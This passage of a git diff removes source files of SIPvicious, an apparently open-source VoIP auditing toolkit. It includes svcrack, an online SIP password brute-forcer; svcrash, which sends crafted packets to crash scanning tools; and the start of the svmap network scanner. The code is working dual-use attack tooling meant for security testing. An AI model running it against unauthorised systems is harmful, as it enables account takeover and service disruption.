_tmp.port, method) - - -def getAuthHeader(pkt): - nonceRE = '\r\n(www-authenticate|proxy-authenticate): (.+?)\r\n' - _tmp = re.findall(nonceRE, pkt, re.I) - if _tmp is not None: - if len(_tmp) > 0: - return(_tmp[0][1]) - return None - - - -def check_ipv6(n): - log = logging.getLogger('check_ipv6') - if '/' in n: - log.error('CIDR notation not supported for IPv6 addresses.') - return False - try: - socket.inet_pton(socket.AF_INET6, n) - return True - except socket.error: - return False - - -if __name__ == '__main__': - print(getranges('1.1.1.1/24')) - seq = getranges('google.com/24') - if seq is not None: - a = ip4range(seq) - for x in iter(a): - print(x) diff --git a/misc/telecommunications/sipvicious/sipvicious/svcrack.py b/misc/telecommunications/sipvicious/sipvicious/svcrack.py deleted file mode 100755 index b845d6a..0000000 --- a/misc/telecommunications/sipvicious/sipvicious/svcrack.py +++ /dev/null @@ -1,640 +0,0 @@ -# SIPvicious password cracker - svcrack - -__GPL__ = """ - - SIPvicious password cracker is an online password guessing tool for SIP devices - Copyright (C) 2007-2021 Sandro Gauci - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -""" - -import logging -import dbm -import random -import select -import socket -import sys -import time -import os -import pickle -from datetime import datetime -from urllib.parse import urlparse -from sipvicious.libs.pptable import to_string -from sipvicious.libs.svhelper import ( __version__, mysendto, reportBugToAuthor, - numericbrute, dictionaryattack, packetcounter, check_ipv6, resolveexitcode, - createTag, makeRequest, getAuthHeader, getNonce, getOpaque, ArgumentParser, - getAlgorithm, getQop, getCID, getRealm, getCredentials, getRange, - standardscanneroptions, standardoptions, calcloglevel, resumeFrom -) - -__prog__ = 'svcrack' -__exitcode__ = 0 - -class ASipOfRedWine: - - def __init__(self, host='localhost', bindingip='', localport=5060, port=5060, externalip=None, - username=None, crackmode=1, crackargs=None, realm=None, sessionpath=None, - selecttime=0.005, compact=False, reusenonce=False, extension=None, - maxlastrecvtime=10, domain=None, requesturi=None, method='REGISTER', ipv6=False): - self.log = logging.getLogger('ASipOfRedWine') - family = socket.AF_INET - if ipv6: - family = socket.AF_INET6 - self.ipv6 = ipv6 - self.sock = socket.socket(family, socket.SOCK_DGRAM) - self.sock.settimeout(10) - self.sessionpath = sessionpath - self.maxlastrecvtime = maxlastrecvtime - self.lastrecvtime = time.time() - self.dbsyncs = False - self.method = method - if self.sessionpath is not None: - self.resultpasswd = dbm.open( - os.path.join(self.sessionpath, 'resultpasswd'), 'c') - try: - self.resultpasswd.sync() - self.dbsyncs = True - self.log.info("Db does sync") - except AttributeError: - self.log.info("Db does not sync") - pass - else: - self.resultpasswd = dict() - self.nomore = False - self.passwordcracked = False - self.rlist = [self.sock] - self.wlist = list() - self.xlist = list() - self.challenges = list() - self.crackmode = crackmode - self.crackargs = crackargs - try: - if int(port) >= 1 and int(port) <= 65535: - self.dsthost, self.dstport = host, int(port) - else: - raise ValueError - except (ValueError, TypeError): - self.log.error('port should strictly be an integer between 1 and 65535') - sys.exit(10) - self.domain = self.dsthost - if domain: - self.domain = domain - if crackmode == 1: - self.passwdgen = numericbrute(*crackargs) - elif crackmode == 2: - self.passwdgen = dictionaryattack(crackargs) - self.username = username - self.realm = realm - self.selecttime = selecttime - self.dstisproxy = None - self.ignorenewnonce = True - self.noauth = False - self.auth = dict() - self.previouspassword = str() - self.compact = compact - self.reusenonce = reusenonce - self.staticnonce = None - self.staticcid = None - if extension is not None: - self.extension = extension - else: - self.extension = username - self.bindingip = bindingip - self.localport = localport - self.requesturi = requesturi - self.noncecount = 1 - self.originallocalport = localport - if self.sessionpath is not None: - self.packetcount = packetcounter(50) - if externalip is None: - self.log.debug("external ip was not set") - if (self.bindingip != '0.0.0.0') and (len(self.bindingip) > 0): - self.log.debug( - "but bindingip was set! we'll set it to the binding ip") - self.externalip = self.bindingip - else: - try: - self.log.info( - "trying to get self ip .. might take a while") - self.externalip = socket.gethostbyname( - socket.gethostname()) - except socket.error: - self.externalip = '127.0.0.1' - else: - self.log.debug("external ip was set") - self.externalip = externalip - - PROXYAUTHREQ = 'SIP/2.0 407 ' - AUTHREQ = 'SIP/2.0 401 ' - OKEY = 'SIP/2.0 200 ' - NOTFOUND = 'SIP/2.0 404 ' - INVALIDPASS = 'SIP/2.0 403 ' - TRYING = 'SIP/2.0 100 ' - - def Register(self, extension, remotehost, auth=None, cid=None): - m = self.method - if cid is None: - cid = '%s' % str(random.getrandbits(32)) - branchunique = '%s' % random.getrandbits(32) - cseq = 1 - # Embedding value so as to not run into errors - localtag = '3206210844'.encode() - if self.ipv6 and check_ipv6(remotehost): - remotehost = '['+remotehost+']' - contact = 'sip:%s@%s' % (extension, remotehost) - if auth is not None: - cseq = 2 - localtag = createTag('%s:%s' % ( - self.auth['username'], self.auth['password'])) - domain = self.domain - if self.ipv6 and check_ipv6(domain): - domain = '[' + self.domain + ']' - register = makeRequest( - m, - '"%s" ' % (extension, extension, domain), - '"%s" ' % (extension, extension, domain), - domain, - self.dstport, - callid=cid, - srchost=self.externalip, - branchunique=branchunique, - cseq=cseq, - auth=auth, - contact=contact, - localtag=localtag, - compact=self.compact, - localport=self.localport, - requesturi=self.requesturi, - ) - return register - - - def getResponse(self): - # we got stuff to read off the socket - buff, _ = self.sock.recvfrom(8192) - buff = buff.decode('utf-8', 'ignore') - if buff.startswith(self.PROXYAUTHREQ): - self.dstisproxy = True - elif buff.startswith(self.AUTHREQ): - self.dstisproxy = False - if buff.startswith(self.PROXYAUTHREQ) or buff.startswith(self.AUTHREQ): - authheader = getAuthHeader(buff) - if authheader is not None: - nonce = getNonce(authheader) - opaque = getOpaque(authheader) - algorithm = getAlgorithm(authheader) - qop = getQop(authheader) - cid = getCID(buff) - if self.realm is None: - self.realm = getRealm(buff) - if None not in (nonce, self.realm): - if self.reusenonce: - if len(self.challenges) > 0: - return - else: - self.staticnonce = nonce - self.staticcid = cid - self.challenges.append([nonce, cid, qop, algorithm, opaque]) - elif buff.startswith(self.OKEY): - self.passwordcracked = True - _tmp = getCredentials(buff) - if (_tmp is not None) and (len(_tmp) == 2): - crackeduser, crackedpasswd = _tmp - self.log.info("The password for %s is %s" % - (crackeduser.decode(), crackedpasswd.decode())) - self.resultpasswd[crackeduser] = crackedpasswd - if self.sessionpath is not None and self.dbsyncs: - self.resultpasswd.sync() - else: - self.log.info("Does not seem to require authentication") - self.noauth = True - self.resultpasswd[self.username] = '[no password]' - elif buff.startswith(self.NOTFOUND): - self.log.warning("User not found") - self.noauth = True - elif buff.startswith(self.INVALIDPASS): - pass - elif buff.startswith(self.TRYING): - pass - else: - self.log.error("We got an unknown response") - self.log.debug(buff.__repr__()) - self.nomore = True - - def start(self): - global __exitcode__ - if self.bindingip == '': - bindingip = 'any' - else: - bindingip = self.bindingip - self.log.debug("binding to %s:%s" % (bindingip, self.localport)) - - while 1: - if self.localport > 65535: - self.log.critical("Could not bind to any port") - __exitcode__ = resolveexitcode(30, __exitcode__) - return - try: - self.sock.bind((self.bindingip, self.localport)) - break - except socket.error: - self.log.debug("could not bind to %s" % self.localport) - self.localport += 1 - - if self.originallocalport != self.localport: - self.log.warning("could not bind to %s:%s - some process might already be listening on this port. Listening on port %s instead" % - (self.bindingip, self.originallocalport, self.localport)) - self.log.info( - "Make use of the -P option to specify a port to bind to yourself") - - # perform a test 1st .. - data = self.Register(self.extension, self.domain) - try: - mysendto(self.sock, data, (self.dsthost, self.dstport)) - except socket.error as err: - self.log.error("socket error: %s" % err) - __exitcode__ = resolveexitcode(30, __exitcode__) - return - - try: - self.getResponse() - self.lastrecvtime = time.time() - except socket.timeout: - self.log.error("no server response") - __exitcode__ = resolveexitcode(30, __exitcode__) - return - except socket.error as err: - self.log.error("socket error:%s" % err) - __exitcode__ = resolveexitcode(30, __exitcode__) - return - - if self.noauth is True: - return - - while 1: - r, _, _ = select.select( - self.rlist, - self.wlist, - self.xlist, - self.selecttime - ) - if r: - if self.passwordcracked: - __exitcode__ = resolveexitcode(40, __exitcode__) - break - # we got stuff to read off the socket - try: - self.getResponse() - self.lastrecvtime = time.time() - except socket.error as err: - self.log.warning("socket error: %s" % err) - __exitcode__ = resolveexitcode(30, __exitcode__) - else: - # check if its been a while since we had a response to prevent - # flooding - otherwise stop - timediff = time.time() - self.lastrecvtime - if timediff > self.maxlastrecvtime: - self.nomore = True - self.log.warning( - 'It has been %s seconds since we last received a response - stopping' % timediff) - __exitcode__ = resolveexitcode(30, __exitcode__) - - if self.passwordcracked: - __exitcode__ = resolveexitcode(40, __exitcode__) - break - - if self.nomore is True: - try: - while not self.passwordcracked: - self.getResponse() - except socket.timeout: - break - # no stuff to read .. its our turn to send back something - if len(self.challenges) > 0: - # we have challenges to take care of - self.auth = dict() - self.auth['username'] = self.username - self.auth['realm'] = self.realm - if self.reusenonce: - self.auth['nonce'] = self.staticnonce - cid = self.staticcid - else: - self.auth['nonce'], cid, self.auth['qop'], self.auth[ - 'algorithm'], self.auth['opaque'] = self.challenges.pop() - self.auth['proxy'] = self.dstisproxy - try: - self.auth['password'] = next(self.passwdgen) - self.previouspassword = self.auth['password'] - self.log.debug('trying %s' % self.auth['password']) - if self.auth['algorithm'] == "md5-sess" or self.auth['qop'] == "auth": - self.auth["noncecount"] = self.noncecount - self.noncecount += 1 - - except StopIteration: - self.log.info("no more passwords") - self.nomore = True - continue - else: - self.auth = None - cid = None - data = self.Register( - self.extension, self.domain, self.auth, cid) - try: - mysendto(self.sock, data, (self.dsthost, self.dstport)) - # self.sock.sendto(data,(self.dsthost,self.dstport)) - if self.sessionpath is not None: - if next(self.packetcount): - try: - if self.crackmode == 1: - pickle.dump(self.previouspassword, open( - os.path.join(self.sessionpath, 'lastpasswd.pkl'), 'wb+')) - self.log.debug( - 'logged last extension %s' % self.previouspassword) - - elif self.crackmode == 2: - pickle.dump(self.crackargs.tell(), open( - os.path.join(self.sessionpath, 'lastpasswd.pkl'), 'wb+')) - self.log.debug( - 'logged last position %s' % self.crackargs.tell()) - - except IOError: - self.log.warning('could not log the last extension scanned') - __exitcode__ = resolveexitcode(20, __exitcode__) - - except socket.error as err: - self.log.error("socket error: %s" % err) - __exitcode__ = resolveexitcode(30, __exitcode__) - break - - -def main(): - global __exitcode__ - usage = "usage: %prog -u username [options] target\r\n" - usage += "examples:\r\n" - usage += "\t%prog -u 100 -d dictionary.txt udp://10.0.0.1:5080\r\n" - usage += "\t%prog -u 100 -r1-9999 -z4 10.0.0.1\r\n" - parser = ArgumentParser(usage, version="%prog v" + str(__version__) + __GPL__) - parser.add_option("-p", "--port", dest="port", default="5060", - help="Destination port of the SIP device - eg -p 5060", metavar="PORT") - parser = standardoptions(parser) - parser = standardscanneroptions(parser) - parser.add_option("-u", "--username", dest="username", - help="username to try crack", metavar="USERNAME") - parser.add_option("-d", "--dictionary", dest="dictionary", type="string", - help="specify a dictionary file with passwords or - for stdin", - metavar="DICTIONARY") - parser.add_option("-r", "--range", dest="range", default="100-999", - help="specify a range of numbers, can be a comma separated list. example: 100-200,300-310,400", - metavar="RANGE") - parser.add_option("-e", "--extension", dest="extension", - help="Extension to crack. Only specify this when the extension is different from the username.", - metavar="EXTENSION") - parser.add_option("-z", "--zeropadding", dest="zeropadding", type="int", default=0, - help="the number of zeros used to padd the password. the options \"-r 1-9999 -z 4\" " \ - "would give 0001 0002 0003 ... 9999", metavar="PADDING") - parser.add_option("-n", "--reusenonce", dest="reusenonce", default=False, action="store_true", - help="Reuse nonce. Some SIP devices don't mind you reusing the nonce (making " \ - "them vulnerable to replay attacks). Speeds up the cracking.",) - parser.add_option('--template', '-T', action="store", dest="template", - help="A format string which allows us to specify a template for the extensions. " \ - "example svwar.py -e 1-999 --template=\"123%#04i999\" would scan between 1230001999 to 1230999999\"") - parser.add_option('--maximumtime', action='store', dest='maximumtime', type="int", default=10, - help="Maximum time in seconds to keep sending requests without receiving a response back") - parser.add_option('--enabledefaults', '-D', action="store_true", dest="defaults", default=False, - help="Scan for default / typical passwords such as " \ - "1000,2000,3000 ... 1100, etc. This option is off by default.") - parser.add_option('--domain', dest="domain", - help="force a specific domain name for the SIP message, eg. example.org") - parser.add_option('--requesturi', dest="requesturi", - help="force the first line URI to a specific value; e.g. sip:999@example.org") - parser.add_option('-6', dest="ipv6", action="store_true", help="Scan an IPv6 address") - parser.add_option('-m','--method', dest='method', default='REGISTER', help="Specify a SIP method to use") - - options, args = parser.parse_args() - - exportpath = None - logging.basicConfig(level=calcloglevel(options)) - logging.debug('started logging') - - if options.resume is not None: - exportpath = os.path.join(os.path.expanduser( - '~'), '.sipvicious', __prog__, options.resume) - if os.path.exists(os.path.join(exportpath, 'closed')): - parser.error("Cannot resume a session that is complete", 20) - - if not os.path.exists(exportpath): - parser.error('A session with the name %s was not found' % options.resume, 20) - - optionssrc = os.path.join(exportpath, 'options.pkl') - previousresume = options.resume - previousverbose = options.verbose - options, args = pickle.load(open(optionssrc, 'rb'), encoding='bytes') - options.resume = previousresume - options.verbose = previousverbose - - elif options.save is not None: - exportpath = os.path.join(os.path.expanduser( - '~'), '.sipvicious', __prog__, options.save) - logging.debug('Session path: %s' % exportpath) - - if options.resume is not None: - exportpath = os.path.join(os.path.expanduser( - '~'), '.sipvicious', __prog__, options.resume) - if not os.path.exists(exportpath): - parser.error('A session with the name %s was not found' % options.resume, 20) - - optionssrc = os.path.join(exportpath, 'options.pkl') - previousresume = options.resume - previousverbose = options.verbose - - options, args = pickle.load(open(optionssrc, 'rb'), encoding='bytes') - options.resume = previousresume - options.verbose = previousverbose - - elif options.save is not None: - exportpath = os.path.join(os.path.expanduser( - '~'), '.sipvicious', __prog__, options.save) - - if len(args) < 1: - parser.error("Please provide at least one hostname which talks SIP!", 10) - elif len(args) > 1: - parser.error("Currently svcrack supports exactly one hostname.", 10) - - destport = options.port - parsed = urlparse(args[0]) - if not parsed.scheme: - host = args[0] - else: - if any(parsed.scheme == i for i in ('tcp', 'tls', 'ws', 'wss')): - parser.error('Protocol scheme %s is not supported in SIPVicious OSS' % parsed.scheme, 10) - - if parsed.scheme != 'udp': - parser.error('Invalid protocol scheme: %s' % parsed.scheme, 10) - - if ':' not in parsed.netloc: - parser.error('You have to supply hosts in format of scheme://host:port when using newer convention.', 10) - - if int(destport) != 5060: - parser.error('You cannot supply additional -p when already including a port in URI. Please use only one.', 10) - - host = parsed.netloc.split(':')[0] - destport = parsed.netloc.split(':')[1] - - if options.username is None: - parser.error("Please provide at least one username to crack!", 10) - - if options.dictionary is not None: - crackmode = 2 - if options.dictionary == "-": - dictionary = sys.stdin - else: - try: - dictionary = open(options.dictionary, 'r', encoding='utf-8', errors='ignore') - except IOError: - parser.error("could not open %s" % options.dictionary, 20) - - if options.resume is not None: - lastpasswdsrc = os.path.join(exportpath, 'lastpasswd.pkl') - previousposition = pickle.load(open(lastpasswdsrc, 'rb'), encoding='bytes') - dictionary.seek(previousposition) - crackargs = dictionary - - else: - crackmode = 1 - if options.resume is not None: - lastpasswdsrc = os.path.join(exportpath, 'lastpasswd.pkl') - try: - previouspasswd = pickle.load(open(lastpasswdsrc, 'rb'), encoding='bytes') - except IOError: - parser.error('Could not read from %s' % lastpasswdsrc, 20) - - logging.debug('Previous range: %s' % options.range) - options.range = resumeFrom(previouspasswd, options.range) - logging.debug('New range: %s' % options.range) - logging.info('Resuming from %s' % previouspasswd) - - rangelist = getRange(options.range) - crackargs = (rangelist, options.zeropadding, - options.template, options.defaults, [options.username]) - - if options.save is not None: - if options.resume is None: - exportpath = os.path.join(os.path.expanduser( - '~'), '.sipvicious', __prog__, options.save) - - if os.path.exists(exportpath): - parser.error('we found a previous scan with the same name. Please choose a new session name', 20) - - logging.debug('creating an export location %s' % exportpath) - - try: - os.makedirs(exportpath, mode=0o700) - except OSError: - parser.error('could not create the export location %s' % exportpath, 20) - - optionsdst = os.path.join(exportpath, 'options.pkl') - logging.debug('saving options to %s' % optionsdst) - pickle.dump([options, args], open(optionsdst, 'wb+')) - - if options.autogetip: - tmpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - tmpsocket.connect(("msn.com", 80)) - options.externalip = tmpsocket.getsockname()[0] - tmpsocket.close() - - if options.maximumtime < 0: - parser.error('looks like you passed a negative value to --maximumtime!', 10) - - sipvicious = ASipOfRedWine( - host, - username=options.username, - selecttime=options.selecttime, - compact=options.enablecompact, - crackmode=crackmode, - crackargs=crackargs, - reusenonce=options.reusenonce, - extension=options.extension, - sessionpath=exportpath, - port=destport, - externalip=options.externalip, - maxlastrecvtime=options.maximumtime, - localport=options.localport, - domain=options.domain, - requesturi=options.requesturi, - ipv6=options.ipv6, - method=options.method, - ) - - start_time = datetime.now() - logging.info("scan started at %s" % str(start_time)) - try: - sipvicious.start() - if exportpath is not None: - open(os.path.join(exportpath, 'closed'), 'w').close() - - except KeyboardInterrupt: - logging.warning('caught your control^c - quiting') - - except Exception as err: - logging.critical( - "Got unhandled exception : %s", err.__str__()) - reportBugToAuthor(err) - logging.exception("Exception") - __exitcode__ = resolveexitcode(20, __exitcode__) - - if options.save is not None and sipvicious.previouspassword is not None: - lastextensiondst = os.path.join(exportpath, 'lastpasswd.pkl') - logging.debug('saving state to %s' % lastextensiondst) - try: - if crackmode == 1: - pickle.dump(sipvicious.previouspassword, open( - os.path.join(exportpath, 'lastpasswd.pkl'), 'wb+')) - logging.debug('logged last password %s' % - sipvicious.previouspassword) - elif crackmode == 2: - pickle.dump(sipvicious.crackargs.tell(), open( - os.path.join(exportpath, 'lastpasswd.pkl'), 'wb+')) - logging.debug('logged last position %s' % - sipvicious.crackargs.tell()) - except IOError: - logging.warning('could not log the last tried password') - __exitcode__ = resolveexitcode(20, __exitcode__) - - # display results - if not options.quiet: - lenres = len(sipvicious.resultpasswd) - if lenres > 0: - logging.info("we have %s cracked users" % lenres) - if (lenres < 400 and options.save is not None) or options.save is None: - labels = ('Extension', 'Password') - rows = list() - try: - for k in sipvicious.resultpasswd.keys(): - rows.append((k.decode(), sipvicious.resultpasswd[k].decode())) - except AttributeError: - for k in sipvicious.resultpasswd.keys(): - rows.append((k, sipvicious.resultpasswd[k])) - print(to_string(rows, header=labels)) - else: - logging.warning("too many to print - use svreport for this") - else: - logging.warning("found nothing") - - end_time = datetime.now() - total_time = end_time - start_time - logging.info("Total time: %s" % total_time) - sys.exit(__exitcode__) - -if __name__ == '__main__': - main() diff --git a/misc/telecommunications/sipvicious/sipvicious/svcrash.py b/misc/telecommunications/sipvicious/sipvicious/svcrash.py deleted file mode 100755 index b774f89..0000000 --- a/misc/telecommunications/sipvicious/sipvicious/svcrash.py +++ /dev/null @@ -1,197 +0,0 @@ -# svcrash.py - SIPvicious crash breaks svwar and svcrack - -__GPL__ = """ - - Sipvicious crash exploits a bug in svwar/svcrack.py to stop unauthorized - scans from flooding the network. - Copyright (C) 2007-2021 Sandro Gauci - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -""" - -import re -import sys -import time -import scapy -import optparse -import os.path -import socket -import warnings -try: - from scapy.layers.inet import IP, UDP - from scapy.all import send, Raw, sniff - scapyversion = scapy.__version__ -except ImportError: - scapyversion = 0 -from sipvicious.libs.svhelper import __author__, __version__ -warnings.filterwarnings("ignore") - -__prog__ = 'svcrash' - -def getArgs(): - parser = optparse.OptionParser( - usage="%prog [options]", version="%prog v" + str(__version__) + __GPL__) - parser.add_option('--auto', help="Automatically send responses to attacks", - dest="auto", default=False, action="store_true",) - parser.add_option('--astlog', help="Path for the asterisk full logfile", - dest="astlog") - parser.add_option('-d', help="specify attacker's ip address", dest="ipaddr") - parser.add_option('-p', help="specify attacker's port", dest="port", - type="int", default=5060) - parser.add_option('-b', help="bruteforce the attacker's port", dest="bruteforceport", - default=False, action="store_true") - (options, args) = parser.parse_args() - if not (options.auto or options.astlog): - if not options.ipaddr: - parser.error( - "When auto or astlog is not specified, you need to pass an IP address") - elif options.auto: - if scapyversion == 0: - parser.error( - "You should have scapy installed for spoofing the packets: python3 -m pip install scapy.") - elif options.astlog: - if not os.path.exists(options.astlog): - parser.error("Could not read %s" % options.astlog) - if (scapyversion == 0) or not (options.auto): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.bind(('0.0.0.0', 5060)) - except socket.error: - parser.error( - "You either need have port 5060 available or install scapy from http://www.secdev.org/projects/scapy/") - return options, args - -class asteriskreadlognsend: - def __init__(self, logfn): - self.log = None - self.logfn = logfn - self.lastsent = 30 - self.matchcount = 0 - self.origlogsize = 0 - - def checkfile(self): - if (self.log is None) or (self.origlogsize > os.path.getsize(self.logfn)): - self.log = open(self.logfn, 'r') - self.origlogsize = os.path.getsize(self.logfn) - self.log.seek(self.origlogsize) - - def findfailures(self): - self.checkfile() - buff = self.log.readline() - if len(buff) == 0: - time.sleep(1) - return - if time.time() - self.lastsent <= 2: - return - match = re.search( - "Registration from '(.*?)' failed for '(.*?)' - (No matching peer found|Wrong password)", buff) - if match: - self.matchcount += 1 - if self.matchcount > 6: - self.matchcount = 0 - return match.group(2) - else: - # time.sleep(1) - return - - def start(self): - try: - while 1: - ipaddr = self.findfailures() - if ipaddr: - for i in range(5060, 5080): - if scapyversion > 0: - sendattack2(ipaddr, i) - else: - sendattack(ipaddr, i) - except KeyboardInterrupt: - return - -class sniffnsend: - def __init__(self, port=5060): - self.port = port - self.lastsent = 30 - self.mytimer = dict() - - def checknsend(self, pkt): - data = str(pkt.getlayer(Raw)) - ipaddr = pkt.getlayer(IP).src - try: - port = pkt.getlayer(UDP).sport - except AttributeError: - return - src = ipaddr, port - if not src in self.mytimer: - # print "add %s:%s" % src - self.mytimer[src] = time.time() - 2 - - if time.time() - self.mytimer[src] > 2: - if time.time() - self.lastsent > 0.5: - if ('User-Agent: friendly-scanner' in data) or \ - ('User-Agent: Asterisk PBX' in data and 'CSeq: 1 REGISTER' in data): - if 'REGISTER ' in data: - # print data - self.lastsent = time.time() - self.mytimer[src] = time.time() - sendattack2(ipaddr, port) - - if len(self.mytimer) > 0: - for src in self.mytimer.keys(): - if time.time() - self.mytimer[src] > 10: - # print "del %s:%s:%s" % - # (str(src),time.time(),self.mytimer[src]) - del(self.mytimer[src]) - - def start(self): - try: - sniff(prn=self.checknsend, filter="udp port %s" % - self.port, store=0) - except KeyboardInterrupt: - print("goodbye") - -crashmsg = 'SIP/2.0 200 OK\r\nVia: SIP/2.0/UDP 8.7.6.5:5061;bran' -crashmsg += 'ch=z9hG4bK-573841574;rport\r\n\r\nContent-length: 0\r\nFrom: ' -crashmsg += '"100"; tag=683a653a7901746865726501627965\r\nUs' -crashmsg += 'er-agent: Telkom Box 2.4\r\nTo: "100"\r\nCse' -crashmsg += 'q: 1 REGISTER\r\nCall-id: 469585712\r\nMax-forwards: 70\r\n\r\n' - -def sendattack(ipaddr, port): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.bind(('0.0.0.0', 5060)) - dst = ipaddr, port - s.sendto(bytes(crashmsg, 'utf-8'), dst) - sys.stdout.write("Attacking back %s:%s\r\n" % (ipaddr, port)) - s.close() - -def sendattack2(ipaddr, port): - packet = IP(dst=ipaddr) / UDP(sport=5060, dport=port) / crashmsg - sys.stdout.write("Attacking back %s:%s\r\n" % (ipaddr, port)) - send(packet, verbose=0) - -def main(): - options, _ = getArgs() - if options.auto: - sns = sniffnsend() - sns.start() - elif options.astlog: - ast = asteriskreadlognsend(options.astlog) - ast.start() - elif options.bruteforceport: - for port in range(5060, 5090): - sendattack(options.ipaddr, port) - else: - sendattack(options.ipaddr, options.port) - -if __name__ == "__main__": - main() diff --git a/misc/telecommunications/sipvicious/sipvicious/svmap.py b/misc/telecommunications/sipvicious/sipvicious/svmap.py deleted file mode 100755 index bfa0f1b..0000000 --- a/misc/telecommunications/sipvicious/sipvicious/svmap.py +++ /dev/null @@ -1,589 +0,0 @@ -# svmap.py - SIPvicious SIP scanner - -__GPL__ = """ - - SIPvicious SIP scanner searches for SIP devices on a given network - Copyright (C) 2007-2021 Sandro Gauci - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -""" - -import dbm -import logging -import os -import pickle -import random -import select -import socket -from struct import pack -from sys import exit -from datetime import datetime -from sipvicious.libs.pptable import to_string -from sipvicious.libs.svhelper import ( - ArgumentParser, __version__, calcloglevel, createTag, fingerPrintPacket, getranges, - getTag, getTargetFromSRV, ip4range, makeRequest, getRange, scanlist, ip6range, - mysendto, packetcounter, reportBugToAuthor, dbexists, check_ipv6, resolveexitcode, - scanrandom, standardoptions, standardscanneroptions, resumeFromIP, scanfromdb -) - -__prog__ = "svmap" -__exitcode__ = 0 - -class DrinkOrSip: - def __init__(self, scaniter, selecttime=0.005, compact=False, bindingip='', - fromname='sipvicious', fromaddr='sip:100@1.1.1.1', extension=None, - sessionpath=None, socktimeout=3, externalip=None, localport=5060, - printdebug=False, first=None, fpworks=False, ipv6=False): - self.log = logging.getLogger('DrinkOrSip') - family = socket.AF_INET - if ipv6: - family = socket.AF_INET6 - self.ipv6 = ipv6 - self.bindingip = bindingip - self.sessionpath = sessionpath - self.dbsyncs = False - if self.sessionpath is not None: - self.resultip = dbm.open(os.path.join(self.sessionpath,'resultip'),'c') - self.resultua = dbm.open(os.path.join(self.sessionpath,'resultua'),'c') - try: - self.resultip.sync() - self.dbsyncs = True - self.log.info("Db does sync") - except AttributeError: - self.log.info("Db does not sync") - pass - else: - self.resultip = dict() - self.resultua = dict() - # we do UDP - self.sock = socket.socket(family, socket.SOCK_DGRAM) - # socket timeout - this is particularly useful when quitting .. to eat - # up some final packets - self.sock.settimeout(socktimeout) - # enable sending to broadcast addresses - self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) - # read handles - self.rlist = [self.sock] - # write handles - self.wlist = list() - # error handles - self.xlist = list() - self.scaniter = scaniter - self.selecttime = selecttime - self.localport = localport - if externalip is None: - self.log.debug("external ip was not set") - if (self.bindingip != '0.0.0.0') and (len(self.bindingip) > 0): - self.log.debug("but bindingip was set! we'll set it to the binding ip") - self.externalip = self.bindingip - else: - try: - self.log.info("trying to get self ip .. might take a while") - self.externalip = socket.gethostbyname(socket.gethostname()) - except socket.error: - self.externalip = '127.0.0.1' - else: - self.log.debug("external ip was set") - self.externalip = externalip - self.log.debug("External ip: %s:%s" % (self.externalip, localport) ) - self.compact = compact - self.log.debug("Compact mode: %s" % self.compact) - self.fromname = fromname - self.fromaddr = fromaddr - self.log.debug("From: %s <%s>" % (self.fromname, self.fromaddr)) - self.nomoretoscan = False - self.originallocalport = self.localport - self.nextip = None - self.extension = extension - self.fpworks = fpworks - self.printdebug = printdebug - self.first = first - if self.sessionpath is not None: - self.packetcount = packetcounter(50) - self.sentpackets = 0 - - def getResponse(self, buff, srcaddr): - srcip, srcport, *_ = srcaddr - uaname = 'unknown' - buff = buff.decode('utf-8', 'ignore') - if buff.startswith('OPTIONS ') \ - or buff.startswith('INVITE ') \ - or buff.startswith('REGISTER '): - if self.externalip == srcip: - self.log.debug("We received our own packet from %s:%s" % (str(srcip), srcport)) - else: - self.log.info("Looks like we received a SIP request from %s:%s" % (str(srcip), srcport)) - self.log.debug(buff.__repr__()) - return - self.log.debug("running fingerPrintPacket()") - res = fingerPrintPacket(buff) - if res is not None: - if 'name' in res: - uaname = res['name'][0] - else: - uaname = 'unknown' - self.log.debug(buff.__repr__()) - if not self.fpworks: - fp = None - if fp is None: - if self.fpworks: - fpname = 'unknown' - else: - fpname = 'disabled' - else: - fpname = ' / '.join(fp) - self.log.debug('Fingerprint: %s' % fpname) - self.log.debug("Uaname: %s" % uaname) - #print buff - originaldst = getTag(buff) - try: - dstip = socket.inet_ntoa(pack('!L',int(originaldst[:8],16))) - dstport = int(originaldst[8:12],16) - except (ValueError, TypeError, socket.error): - self.log.debug("original destination could not be decoded: %s" % (originaldst)) - dstip, dstport = 'unknown','unknown' - resultstr = '%s:%s\t->\t%s:%s\t->\t%s' % (dstip, dstport, srcip, srcport, uaname) - self.log.info( resultstr ) - self.resultip['%s:%s' % (srcip, srcport)] = '%s:%s' % (dstip, dstport) - self.resultua['%s:%s' % (srcip, srcport)] = uaname - if self.sessionpath is not None and self.dbsyncs: - self.resultip.sync() - self.resultua.sync() - else: - self.log.info('Packet from %s:%s did not contain a SIP msg' % srcaddr) - self.log.debug('Packet: %s' % buff.__repr__()) - - def start(self): - global __exitcode__ - # bind to 5060 - the reason is to maximize compatability with - # devices that disregard the source port and send replies back - # to port 5060 - if self.bindingip == '': - bindingip = 'any' - else: - bindingip = self.bindingip - self.log.debug("binding to %s:%s" % (bindingip, self.localport)) - - while 1: - if self.localport > 65535: - self.log.critical("Could not bind to any port") - __exitcode__ = resolveexitcode(30, __exitcode__) - return - try: - self.sock.bind((self.bindingip, self.localport)) - break - except socket.error: - self.log.debug("could not bind to %s" % self.localport) - self.localport += 1 - - if self.originallocalport != self.localport: - 